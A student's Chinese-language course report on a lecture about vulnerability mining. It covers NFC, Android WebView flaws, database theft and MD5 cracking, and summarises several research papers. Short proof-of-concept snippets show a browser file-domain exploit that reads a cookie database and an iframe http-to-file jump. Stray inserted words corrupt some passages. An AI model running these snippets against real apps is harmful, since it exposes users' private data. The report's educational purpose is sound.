课程:《密码与安全新技术专题》android
班级:1892
姓名:杨
学号:20189230
上课教师:王志强
上课日期:2019年5月7日
必修/选修:选修ios
1.本次讲座的学习总结
讲座主题:漏洞挖掘及攻防技术
程序员
2.学习中遇到的问题及解决
- 问题1:究竟什么是NFC技术?NFC和射频技术相比有什么区别?
- 问题1解决方案:
(1)NFC的诞生
NFC,全称是Near Field Communication,即“近场通讯”,也叫“近距离无线通讯”。它诞生于2003年,由飞利浦和索尼这两个移动设备巨头联合研发。2004年,两大巨头与诺基亚一块儿,建立NFC论坛,开始推广NFC的应用。
(2)NFC究竟是什么技术?它与射频技术相比有什么区别?
NFC是一种短距离的高频无线通讯技术,容许电子设备之间进行非接触式点对点数据传输。
说到NFC,就不得不谈谈它的大哥,也就是RFID。RFID,Radio Frequency Identification,即射频识别,又名电子标签。顾名思义,RFID的工做原理就是给一件件物品上贴上一个包含RFID射频部分和天线环路的RFID电路。

携带该标签的物品进入人为设置的特定磁场后,会发出特定频率的信号,阅读器就可得到以前该物品被写入的信息。这有点像工做人员脖子上挂的胸牌,而你就是他的主管,当他进入你的视线,你就能够知道他的姓名职业等信息,还能够改写他胸牌的内容。

若是说RFID是一我的戴着胸牌方便别人了解他,那么NFC就是两我的都戴着胸牌,并且他们能够在看到对方后任意更改胸牌上的内容,改变对方接收到的信息。

NFC与RFID在物理层面看上去很类似,但其实是两个彻底不一样的领域,由于RFID本质上属于识别技术,而NFC属于通讯技术。
(3)NFC的工做模式
A.主动模式
在主动模式下NFC终端能够做为一个读卡器,发出射频场去识别和读/写别的NFC设备信息。

B.被动模式
这个模式正好和主动模式相反,此时NFC终端则被模拟成一张卡,它只在其余设备发出的射频场中被动响应,被读/写信息。

C.双向模式
在此模式下NFC终端双方都主动发出射频场来创建点对点的通讯。至关于两个NFC设备都处于主动模式。
以被动模式为例:
启动NFC通讯的设备,也称为NFC发起设备,在整个通讯过程当中提供射频场(RF-field)。它能够选择106kbps、212kbps或424kbps其中一种传输速度,将数据发送到另外一台设备。
另外一台设备称为NFC目标设备,没必要产生射频场,而使用负载调制(load modulation)技术,便可以相同的速度将数据传回发起设备。
二者即实现了通讯。
移动设备主要以被动模式操做,能够大幅下降功耗,并延长电池寿命。
(4)NFC的发展示状
A.卡模拟
这是NFC最先的功能之一。
让手机能够做为公交卡和银行卡使用,能够大大减小如今出行所须要携带卡片的数量。可是,因为软件问题,这个功能在早期始终没法普及。
如今该功能终于获得了足够的软件支持,小米、华为、三星、努比亚、一加、魅族等手机厂商纷纷推出了能够模拟公交卡的专属APP。遗憾的是,该功能只能在几个一线城市使用,普及还须要时间。
至于银行卡模拟,目前只有支付宝,Samsung Pay,Mi Pay,华为钱包等几个APP支持。
B.文件传输
相似于手机蓝牙,在两台手机都将NFC功能开启后,将手机靠近便可创建链接,以后就可选择传输或接收文件。
可是,正如前文提到的,NFC远不如蓝牙快捷,但NFC能够做为蓝牙的预连接使用。
如今不少相机、照片打印机,也经过NFC进行图片快速传输,毕竟很是方便快捷。
除此之外,愈来愈多的NFC应用被不断发掘出来。例如,如今火爆的共享单车。
摩拜和ofo两大共享单车也发布了支持NFC的新车型,用户能够跳过扫码步骤,直接将手机靠近智能锁便可解锁,让用户的使用体验更好,但目前该功能仍有必定的局限性。

- 问题2:最近刚学了基于Android studio的移动平台开发,对于Android开发有哪些常见的漏洞呢?
- 问题2解决方案:WebView漏洞及建议
在Android开发中,常常会使用WebView来实现WEB页面的展现,在Activiry中启动本身的浏览器,或者简单的展现一些在线内容等。WebView功能强大,应用普遍,但它是天使与恶魔的合体,一方面它加强了APP的上网体验,让APP功能更多样化,另外一方面它也引入了不少的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题能够直接致使用户敏感信息泄露,移动终端被恶意攻击者控制。将WebView的常见漏洞和针对建议总结以下。
(1)WebView任意代码执行漏洞
已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引发远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface API引发的远程代码执行漏洞。以后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,相似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。
(2)WebView密码明文存储漏洞
WebView默认开启密码保存功能mWebView.setSavePassword(true),若是该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,若是选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db。
(3)WebView域控制不严格漏洞
A.setAllowFileAccess
Android中默认mWebView.setAllowFileAccess(true),在File域下,可以执行任意的JavaScript代码,同源策略跨域访问可以对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL作限制,会致使隐私信息泄露,针对IM类软件会致使聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。
B.setAllowFileAccessFromFileURLs
在JELLY_BEAN之前的版本默认是setAllowFileAccessFromFileURLs(true),容许经过file域url中的Javascript读取其余本地文件,在JELLY_BEAN及之后的版本中默认已被是禁止。
C.setAllowUniversalAccessFromFileURLs
在JELLY_BEAN之前的版本默认是setAllowUniversalAccessFromFileURLs(true),容许经过file域url中的Javascript访问其余的源,包括其余的本地文件和http,https源的数据。在JELLY_BEAN及之后的版本中默认已被禁止。
D.360手机浏览器缺陷可致使用户敏感数据泄漏
以360手机浏览器4.8版本为例,因为未对file域作安全限制,恶意APP调用360浏览器加载本地的攻击页面(好比恶意APP释放到SDCARD上的一个HTML)后,就能够获取360手机浏览器下的全部私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 获取本地文件代码
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
漏洞利用代码:web
copyFile(); //自定义函数,释放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
(4)WebView file跨域漏洞
Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,致使容许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码以下所示:算法
<iframe name=f src="www.baidu.com" ></iframe>
<script>
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
在浏览器中打开服务器上的filereach.html,将从http域跳转到file域。数据库
3.本次讲座的学习感悟、思考等
听了王老师这次的讲座,我了解到了“脱库”的相关知识,我查阅了“撞库、洗库、脱库”的相关知识,并加以总结。
在黑客术语里面,”脱库“是指黑客入侵有价值的网络站点,把注册用户的资料数据库所有盗走的行为,由于谐音,也常常被称做“脱裤”,360的库带计划,奖励提交漏洞的白帽子,也是所以而得名。在取得大量的用户数据以后,黑客会经过一系列的技术手段和黑色产业链将有价值的用户数据变现,这一般也被称做“洗库”。最后黑客将获得的数据在其它网站上进行尝试登录,叫作”撞库“,由于不少用户喜欢使用统一的用户名密码,”撞库“也能够是黑客收获颇丰。下图是黑客在“脱库”“洗库”“撞库”三个环节所进行的活动。

黑客获取用户信息的技术手段主要分为如下几种:
(1)远程下载数据库文件
这种拖库方式的利用主要是因为管理员缺少安全意识,在作数据库备份或是为了方便数据转移,将数据库文件直接放到了Web目录下,而web目录是没有权限控制的,任何人均可以访问的;还有就是网站使用了一些开源程序,没有修改默认的数据库;其实黑客天天都会利用扫描工具对各大网站进行疯狂的扫描,若是你的备份的文件名落在黑客的字典里,就很容易被扫描到,从而被黑客下载到本地。
(2)利用web应用漏洞
随着开源项目的成熟发展,各类web开源应用,开源开发框架的出现,不少初创的公司为了减小开发成本,都会直接引入了那些开源的应用,但却并不会关心其后续的安全性,而黑客们在知道目标代码后,却会对其进行深刻的分析和研究,当高危的零日漏洞发现时,这些网站就会遭到拖库的危险。
(3)利用web服务器漏洞
Web安全其实是Web应用和Web服务器安全的结合体;而Web服务器的安全则是由Web容器和系统安全两部分组成,系统安全一般会经过外加防火墙和屏蔽对外服务端口进行处理,但Web容器倒是必须对外开放,所以若是Web容器爆出漏洞的时候,网站也会遭到拖库的危险。
黑客怎样解密获得的数据:
一般状况下,数据库中的我的信息如:邮箱、电话、真实姓名、性别等都是明文存储的。而密码一般通过MD5加密以后存储。黑客能够很轻易地把他须要的且是明文存储的数据从数据库中剥离出来。而MD5加密以后的数据这须要必定的解密流程才能看到明文。一般解密MD5的方法有,暴力破解,字典破解和彩虹表。

(1)暴力破解
暴力破解是一种"时间消耗型"的破解方法,肯定了密文的加密方式的前提下,使用相同的加密算法,计算M = H(P)。P为全部的明文空间,H为加密算法,M为密文,而后将计算获得的M和待破解的密文进行比较,若是匹配成功,则对应的明文P即为待破解密文的明文。值得注意的是,这个枚举P和比较M的过程每每是在内存中进行的,也即在计算的过程当中一边产生,一边比较,此次破解结束后,下一次破解又要从新开始从头枚举,效率不过高。
(2)字典破解
字典破解本质上仍是"暴力破解"的一种,在字典破解中,攻击者是对全部的明文(M)进行预计算,将全部的明文的HASH都事先计算好,并保存起来。典型的MD5字典以下:编程
password 5f4dcc3b5aa765d61d8327deb882cf99
admin 21232f297a57a5a743894a0e4a801fc3
cnblog efbc3548e65e7225dcf43d3918d94e6f
在进行破解的时候,破解程序将字典映射Mapping到内存中,而后将HASH和待破解的密文进行逐条比较(这点和暴力破解是同样的),直到找到某条HASH和待破解的密文相同为止。
值得注意的是,基于字典的暴力破解时间上比单纯的内存计算型暴力破解更有效率,只要一次的"字典生成"花费必定的时间,后续的屡次破解均可以重复使用这个字典。
注意,这里说的"字典"指的对应某个算法的字典: MD5 Directory、SHA1 Directory、NTLM Directory等等。
总的来讲,字典攻击是对单纯的内存型暴力破解的一个改进,它引入了预处理的思想,但缺点也很明显,须要占用及其庞大的磁盘空间,以致于对于长度16以上的密码字典,完整存储根本不可能。
(3)彩虹表
这是对暴力破解和字典破解的一种折中的破解技术,在2003年瑞典的Philippe Oechslin 在Making a Faster Cryptanalytic Time-Memory Trade-Off一文中首次被提出,它有效的利用了预处理的优势,同时又克服了字典破解消耗太大磁盘空间的缺点,在这二者中找到了一个平衡点。设计模式
4.“Vulnerability mining”最新研究现状(因为数据库限制,博客中所查找的论文均为IEEE收录的期刊或会议论文)
论文来源:跨域
2016 Sixth International Conference on Instrumentation & Measurement, Computer, Communication and Control (IMCCC) |
做者信息:
•
Yu Lu
•
Shen Yi
•
Pan Zulie
研究进展:
安卓系统普遍应用于移动终端,存在严重的安全问题。提升移动安全性和保护用户隐私很是重要,所以人们须要找到Android系统的漏洞并加以修复。该文章总结了目前普遍使用的Android漏洞挖掘技术,并使用CuxelEL工具编写脚本。这样,咱们就能够发如今多个Android版本中指针的不当使用。
根据受影响的目标,Android的脆弱性可分为系统脆弱性和软件脆弱性。前者主要存在于Android的内核和框架代码中,后者主要影响第三方开发的应用。
漏洞是影响Android安全的关键因素,所以它已成为加强Android安全性的最重要途径之一。然而,传统的PC平台漏洞挖掘技术不能知足智能终端的需求:智能终端的框架不像PC平台,其隐私数据主要包括用户联系、消息、呼叫历史和位置信息,而PC的隐私数据主要包括使用历史。Android的体系结构也不一样于PC,这使得Android平台中不多存在与代码执行相关的漏洞。
Android漏洞研究——
Android漏洞挖掘技术能够分为动态和静态两种,须要可扩展性和精确性。脆弱性挖掘技术是基于污染分析、可达路径分析、符号执行和模糊化的。可到达路径分析和符号执行是静态的,模糊化是动态的,污染分析包括二者。静态污染分析使用控制流和数据流分析来标记污染源、相关函数来查找漏洞。
这篇文章使用基于控制流的Coccinelle来进行代码的分析,并对android内核代码进行了漏洞挖掘。咱们使用脚本语言SmPL生成脚本,并匹配空指针引用和内存泄漏故障的模式,以找出潜在的漏洞。
实验和结果——
文章使用SmPL语言进行了实验,测试了Android的多个版本。实验主要针对指针的三种错误使用。
1)内存未释放
若是指针指向的动态内存在使用后没有释放,就会发生内存泄漏;
2)空指针引用
若是一个指针在使用前没有通过验证,或者一个空指针用做对象,那么指针的某些错误用法多是漏洞;
3)浮动指针的用法
在使用并释放指针指向的内存以后,指针指向的内存将返回到操做系统。指针变为浮动指针。若是处理不当,指针引用错误也会存在。
实验使用了三种不一样版本的Android,分别是2.一、3.0和4.0,以找出代码中可能存在的故障。咱们在Android 2.1中发现48个故障,其中9个漏洞获得确认。存在误报的缘由是该工具不具有进行数据流分析的能力,而且没法切断没法到达的分支。
Android2.1:

Android3.0:

Android4.0:

实验能够看出三种不一样版本存在的内存故障,其中未释放内存故障的数量相对较高。存在假阳性的缘由是,该工具仅在不切断不可执行的执行路径的状况下提交控制流分析。
结论
本文采用控制流分析工具coccinelle和smpl语言对存储器故障码的特征进行了总结,并对其特征进行了匹配。这样,就能够测试安卓内核的安全漏洞。对安卓内核代码的多个版本进行了故障查找实验,并证实存在相关的漏洞。然而,经过对Android部分代码的分析,能够得出结论:SMPL脚本语言在匹配内存故障特征方面是有限的。若是代码具备特殊字符,则应修改脚本以匹配特定字符。在从此的研究中,应结合数据流分析工具,下降误报率和人工工做量。
论文来源:
2017 Fifth International Conference on Advanced Cloud and Big Data (CBD) |
做者信息:
•
Yu Lu
•
Jinfu Chen
•
Zhechao Lin
研究进展:
因为信息系统的技术进步,软件脆弱性在过去十年中仍然是软件工程领域的一个严重挑战。软件应用程序的快速发展以及系统开发人员未能在程序代码发布到市场以前正确分析程序代码,增长了数据泄露的可能性。众所周知,大多数系统故障都是由软件应用程序中检测到的错误和错误形成的。虽然代码错误对软件质量有显著影响,但目前尚未一种有效的方法能够用来消除软件错误,提升软件的可靠性。数据挖掘及其相关算法是软件脆弱性分析的一个活跃领域。然而,应用数据挖掘技术的概念并无被经验证实是获取软件脆弱性本质特征的有效方法。为了研究这一影响,文章提出了一种基于漏洞的数据挖掘算法,分析并得到了基于软件漏洞的数据挖掘技术的本质特征。本文首先使用数据挖掘技术和公共漏洞数据库来提取和预处理软件漏洞。咱们评估所提出的技术使用共同脆弱性和暴露(CVE)数据库,共同弱点枚举(CWE)数据库,国家脆弱性数据库(NVD)数据集。实验结果代表,该算法在漏洞挖掘过程当中有显著的改进。最有趣的发现是,咱们观察到,在全部三个项目中,召回率约为70%,精确度约为60%。
获取基本特征:一种新方法
为了得到软件脆弱性的本质特征,咱们使用了如下操做(提取、识别、挖掘和应用)来解释咱们的程序。
实验分析与结果
咱们使用脆弱性挖掘方法进行了探索性分析。因为这项研究是一项探索性的研究,所以有必要得到必要和非必要漏洞的文本指标。经过阅读代码行及其各自的注释,咱们手动提取了每一个开源项目的基本特征。如下文本指标分别针对这三个项目的关键和非关键漏洞进行了提取。这些被用来为漏洞挖掘算法构建文本指标词汇表。
从CVE项目中挖掘出的基本漏洞:

从CWE项目中发现的主要漏洞:

从NVD项目中发现的主要漏洞:

主要和非主要漏洞统计:

从CVE项目中提取的关键漏洞统计:

从CWE项目中提取的关键漏洞统计:

从NVD项目中提取的关键漏洞统计:

结论与将来工做——
天天报告的大量软件漏洞以及这些漏洞对公司和最终用户在成本和时间方面的影响,使得软件工程领域的研究人员必须对软件漏洞进行最近的研究和分析。在本研究中,咱们利用CWE、CVE和NVD数据库中存在的软件漏洞信息,提出了一种漏洞挖掘算法,并得到了软件漏洞的本质特征。研究结果代表,与人工方法相比,该方法在提取软件漏洞本质特征方面有显著的改进。咱们分析中最重要的发现是,咱们发如今全部三个项目中,召回率约为70%,准确率约为60%。这代表漏洞挖掘算法在检测本质和非本质漏洞方面有了显著的改进。这意味着本研究所采用的方法能够有效地用于提取和获取软件漏洞的本质特征。虽然咱们使用了三个以不一样格式存储软件漏洞的漏洞数据库,但咱们的方法没有考虑用于存储这些漏洞的其余功能。在将来,咱们计划经过添加其余特性来扩展研究范围,并挖掘从各类数据库中提取的基本漏洞之间的关联。
论文来源:
2017 International Conference on Hardware/Software Codesign and System Synthesis (CODES+ISSS) |
做者信息:
•
Alessandro Danese
•
Graziano Pravadelli
研究进展:
在过去十年中,报告的利用未经检查的输入固件值进行安全攻击的次数一直在增长。为了解决这一趋势,本文提出了DOVE,固件漏洞检测。Dove是一个可以识别不太可能的固件执行流的框架,在该框架中,安全漏洞能够逃避通常的验证工做。它依靠一个符号模拟器、一个几率映射器和一个断言生成器,经过在抽象硬件模型中模拟正在验证的固件,自动生成正式断言。这些断言描述了硬件模型的内存位置和寄存器,固件能够在其不一样的执行路径中进行操做。而后根据遍历相关执行路径的容易程度对生成的断言进行排序,以便验证工程师能够直接检查最不可能的执行路径,以查明潜在的漏洞。
Dove的执行框架:
Dove框架分三个阶段工做:符号模拟;几率映射器;断言生成器。
实验性评价——
因为缺少空间,咱们仅报告一个案例研究,即利用易受攻击的固件使内存保护机制失效。所分析的固件充当内存映射密码和上层软件之间的接口。固件从密码接口读取值,而后详细说明存储读取值的内存地址。在这种状况下,存储固件指令的内存位置是不可写的,除非设置了标志bioswe。此外,每次尝试更改此标志都会致使硬件中断,从而将bioswe重置为其默认值,即零。在正确的执行流中,来自密码的每一个值都正确地存储在上层软件可读的内存位置中。此外,因为实现了内存写保护机制,任何覆盖固件代码的尝试都没有效果。然而,在本案例研究中,中断控制器寄存器(gbl-smi-en)中可能存在安全漏洞。特别是,若是硬件中断能够被禁用,那么bioswe将被公开设置,而且存储在内存中的固件代码随后能够被成功覆盖。经过Dove,咱们调查了这个案例研究,并自动生成突出上述安全漏洞的断言。下表报告了咱们经过增长模拟指令的数量获得的实验结果。下表的列:模拟指令的数量、生成的符号状态、生成的断言的数量、符号模拟、几率映射器和断言生成阶段分别花费的执行时间(秒)。最后一列最终以秒为单位报告整个框架的整体执行时间。正如预期的那样,模拟指令的数量越高,生成的符号状态集就越大。生成的断言的数量也增长了,可是最后一组断言很小,只需几秒钟就能够生成。生成的断言按照遵循固件的模拟执行路径的几率进行排序。咱们报告了排名靠前的生成断言,它突出显示了最不可能的模拟执行路径:
论文来源:
2011 First International Conference on Instrumentation, Measurement, Computer, Communication and Control |
做者信息:
•
Qi Lanlan
•
Xu Dan
•
Wu Zhiyong
研究进展:
从1990年B.P.Miller首次引入模糊技术,发现25%以上的Unix程序出现故障,到北京大学最近推出的污点检测系统,以及在Adobe Acrobat等几种流行软件中发现的27 0day漏洞,实践经验和结果代表,模糊技术是有效的漏洞挖掘。本文对模糊问题进行了研究和探讨。首先,分析了模糊的新特色。而后,将目前的模糊测试用例生成技术分为四类。提出了提升模糊质量的新研究方向。
模糊化是一种基于故障注入的自动化软件测试技术。它使用大量的半有效数据做为应用程序的输入,而后监视和记录任何异常。所谓半有效数据是指文档和大多数数据的必要标识是有效的,而其他的数据则是无效的。当目标应用程序处理无效数据时,可能会致使应用程序崩溃或触发安全漏洞。
通过近20年的发展,模糊化有了一些新的特色:
(1)反馈驱动模糊。在执行期间利用程序的内部信息来指导测试数据的生成。如图所示,不安全的函数信息、运行时信息、代码覆盖率等反馈信息直接智能地生成了正确的、格式错误的测试数据。它能够大大提升漏洞挖掘的效率,如BuzzFuzz、FTSG、TaintScope。

(2)白盒模糊一体化。基于符号执行的白盒模糊(如exe、klee)能够用符号值替换全部程序输入,收集程序跟踪上的输入约束,并生成新的输入,以沿不一样的跟踪驱动程序执行。这些工具可以提供良好的代码覆盖率,并已被证实可以高度提升传统模糊工具的有效性。他们成功地在GNU coreutils、大型Windows应用程序和Linux文件系统中检测到严重的错误。
(3)模型推理辅助模糊化。许多协议反向器工程工具(如ftsg、prospex、tupin、autoformat、polyglot、discoverer、ffe/x8)可用于指导模糊测试。这些工具能够经过分析网络流量提取输入数据的格式规范,在处理输入数据时监视程序的执行,或者直接分析二进制可执行文件。提取的协议规范能够进一步转换为模糊规范。该技术能够下降测试数据结构的复杂性,提升代码覆盖率。
论文来源:
2017 8th International Conference on Information Technology (ICIT) |
做者信息:
•
Duha A. Al-Darras
•
Ja'far Alqatawna
研究进展:
开发没有漏洞的软件应用程序是必要的,特别是若是这些应用程序打算在万维网上运行。随着软件应用程序开发的快速发展,开发可以自动检测软件漏洞的工具的需求出现了。这些工具的主要挑战是提供高精度和低假阳性或假阴性率。本文分析了如何利用数据挖掘技术提升漏洞检测质量。咱们首先讨论Web应用程序的漏洞以及静态检测方法及其局限性。而后,咱们探讨了数据挖掘技术及其改进漏洞检测的潜力。本文综述和讨论了在文献中使用这类技术的结果。做为一个结论,咱们认为,随着愈来愈多的研究使用数据挖掘进行漏洞检测,咱们可能会获得一个更好的检测选择,可是,须要进一步研究的几个方面,包括特征工程,自适应分类器和特征选择。
2013年4大OWASP安全风险解读:
静态分析及其局限性:
静态代码分析(也称为源代码分析)是一种白盒方法,它使用一组规则检测代码中的漏洞,如缓冲区溢出和SQL注入。静态代码分析是在没有实际执行程序的状况下执行的。静态分析的一个主要优势是能够早期检测代码中的漏洞。检测到漏洞越早,纠正漏洞的成本就越低。开发人员应用的一些源代码分析方法包括:类型推断、约束分析、符号执行、模型检查、控制和数据流分析,如静态污染分析和基于文本的模式匹配、词汇分析和从源代码构建抽象语法树(ast)。这些技术用于从程序源代码检测不一样类型的漏洞。使用这些技术的主要问题是假阳性和假阴性率高,这下降了静态分析的可靠性和效率。为了提升静态分析数据挖掘技术的质量。
数据挖掘技术:
数据挖掘技术是用于处理大量数据(一般存储在数据仓库中)以提取有用信息的技术。提取的信息可能包含将在分类或聚类过程当中使用的特征。或者在数据中隐藏模式,这些模式将用于决策。下图总结了数据挖掘的通常过程。
数据挖掘技术已被用于检测代码中的漏洞,或者用于对检测到的漏洞是否为真正的漏洞进行分类。A部分提供了使用数据挖掘来检测代码中的漏洞的研究。B节提供了使用数据挖掘对漏洞检测方法检测到的漏洞不是假阳性或假阴性漏洞进行分类的研究。
A.数据挖掘与模式匹配以检测代码中的漏洞
最流行的漏洞检测方法之一是模式匹配。检测注册模式的类型有两种:正安全模式和负安全模式。正安全模型注册了许多非易受攻击的Web代码模式,当一个新的模式与任何注册的模式不匹配时,它被归类为易受攻击的模式。相反,当一个新的模式与任何注册的模式不匹配时,负安全模型注册许多恶意Web代码模式,它被分类为不易受攻击。此模式仅限于预先注册的模式,这意味着它不能灵活地更改恶意Web代码。另外一种方法使用数据挖掘算法检测漏洞。该方法包括两个主要阶段:学习阶段和分类阶段。在学习阶段,提取特征并定义规则。在分类阶段,分类器根据特征向量将给定的代码分类为易受攻击或不易受攻击的代码。使用机器学习算法的一个优势是,它能够利用更普遍的漏洞检测范围。
有人提出了一种检测SQL注入的机器学习方法。在学习过程当中,应用程序从文本文件中读取训练数据集,而后将数据传递给分类器的学习方法。而后,分类器使用空白分离和标记化方法从接收到的数据中生成特征向量。在分类过程当中,应用程序读取测试数据集,并使用从学习过程当中提取的特征对其进行分类。本研究所采用的纳维贝叶斯机器学习方法的分类结果以下:准确度为93.3%,精密度为1.0,召回率为0.89。这些结果提升了SQL注入漏洞检测的效率,减小了误报数量。假阳性意味着组件被预测为易受攻击,但其实是干净的。然而,假阴性意味着一个组件被预测为干净的,但实际上,它是脆弱的。
另外一项研究使用相似的方法检测SQL注入和XSS。在本研究中,咱们测试了多个机器学习算法来分类SQL注入和XSS输入漏洞。结果代表,采用高斯核的支持向量机具备最高的精度和精度,以下表所示。
SQL的注入评估结果:
XSS的评估结果:
用于评估SQL注入的数据集:
B.数据挖掘和静态分析
程序员常用静态分析技术来自动搜索和删除应用程序源代码中的漏洞。开发静态分析工具须要明确的编码知识,以了解如何检测复杂过程当中的每一个漏洞。
然而,这些静态分析技术在发现经典编程缺陷(如缓冲区溢出或SQL注入)方面被证实是成功的,可是它们有很高的误报率。尽管纯静态分析技术做为独立的通用漏洞检测技术,彷佛不能提供高精度,但若是将静态分析技术与数据挖掘技术等其余方法相结合,将提升准确性和精度,下降误报率。采用数据挖掘技术的方法的主要因素是以最低的假阳性率达到预测方法的最高精度和精度。所以,在分类过程当中,选择分类方法或分类方法与适当的特征相结合,以知足这一因素是很是重要的。
在这个阶段,机器学习被用来分类代码分析器阶段发现的漏洞是不是真正的漏洞。结果模型已经在三种不一样的机器学习算法上进行了测试。第一类是图形和符号算法,该类包括如下算法:ID三、C4.5/J4八、随机树和随机森林分类器。第二类是几率算法,这类算法包括NA_ve Bayes(NB)、K-最近邻(KNN)和逻辑回归(LR)。第三类是神经网络算法,这类算法有两种:多层感知器(MLP)和支持向量机(SVM)。在对上述算法进行了分析以后,得出结论:对于所使用的数据集,没有哪一种分类器最适合对误报进行分类。所以,前三个分类器被用来增长对假阳性分类的置信度。前三个分类器分别是逻辑回归、随机树和支持向量机。三个分类器的组合依次应用:首先是lr;若是lr将漏洞分类为假阳性,则应用rt;若是是假阳性,则应用svm。只有当支持向量机认为是假阳性时,最终结果才被肯定为假阳性。这些分类器是在WAP中实现的,精度达到了92.1%,精度达到了92.5%。
一项研究提出了一种将静态分析与机器学习技术相结合的新工具。这个工具叫作DEKANT,它是用Java实现的。利用该工具,他们使用隐马尔可夫模型(HMM)进行漏洞检测。HMM是一个动态贝叶斯网络,其节点表示随机变量,边缘表示这些变量之间的几率依赖性。这些变量要么是观察变量(观察值),要么是隐藏变量(状态)。边缘是从一个状态到另外一个状态的转移几率。该工具的精度和准确度在96%左右。假阳性率为17%,假阴性率为0.5%。与WAP等工具相比,HMM的使用提升了dekant的精度和准确性。表6显示了wap和dekant之间的比较。
一般,将数据挖掘技术,特别是机器学习算法与静态分析模型相结合,提升了这些模型的准确性和精度。
小结
从事漏洞挖掘工做须要具有的知识是极其普遍的,而且随着时间在不断改变,也取决于你所研究的对象(web程序、桌面程序、嵌入式等等)。不过,万变不离其宗,所须要掌握的知识领域却总能够认为是肯定的,我认为大体能够分为如下四个方面:
(1) 程序正向开发技术。这是一个开发者须要掌握的能力,包括编程语言、系统内部设计、设计模式、协议、框架等。拥有丰富编程经验与开发能力的人在漏洞挖掘过程当中每每比那些只对安全相关领域有所了解的人员对目标应用能有更深刻的理解,从而有更高的产出。
(2)攻防一体的理念。这些知识涵盖了从基本的安全原则到不断变换的漏洞形态及漏洞缓解措施。攻击和防护结合的理念,可以有效帮助研究者既可以发现漏洞,同时也可以快速给出有效的漏洞缓解措施和规避方法。
(3)有效使用工具。可以高效的使用工具可以快速将思路转化为实践,这须要经过花时间去学习如何配置和使用工具,将其应用于本身的任务并构建本身的工做流程来不断积累经验。更进一步,须要深刻掌握所使用工具的原理,以及如何对其进行二次开发,以使得其可以更加高效的应用于当前的工做实际。事实上,我认为面向过程的学习方法每每比面向工具的学习方法更加高效以及有价值,当本身发现一个在使用一个工具遇到瓶颈时,先不要退缩,尝试去改造它,或者经过本身动手实践去完成可以适应当前工做的工具,这每每可以帮助快速积累大量实践经验。帮助咱们之后更加高效的去实践漏洞挖掘工做。
(4)对目标应用的理解。最后,也是最重要的,做为一个漏洞挖掘人员,对本身研究的应用程序在安全性方面必需要比这个程序的开发者或维护者有更深的理解。这样你才能尽量的发现这个程序中的漏洞并修复它。
参考资料
Research on Android Vulnerability Mining Technology Based on Control Flow Analysis
A Mining Approach to Obtain the Software Vulnerability Characteristics
Work-in-Progress: DOVE: Pinpointing firmware security vulnerabilities via symbolic control flow assertion mining
New Development of Fuzzing-based Vulnerabilities Mining Research
Data mining for web vulnerability detection: A critical review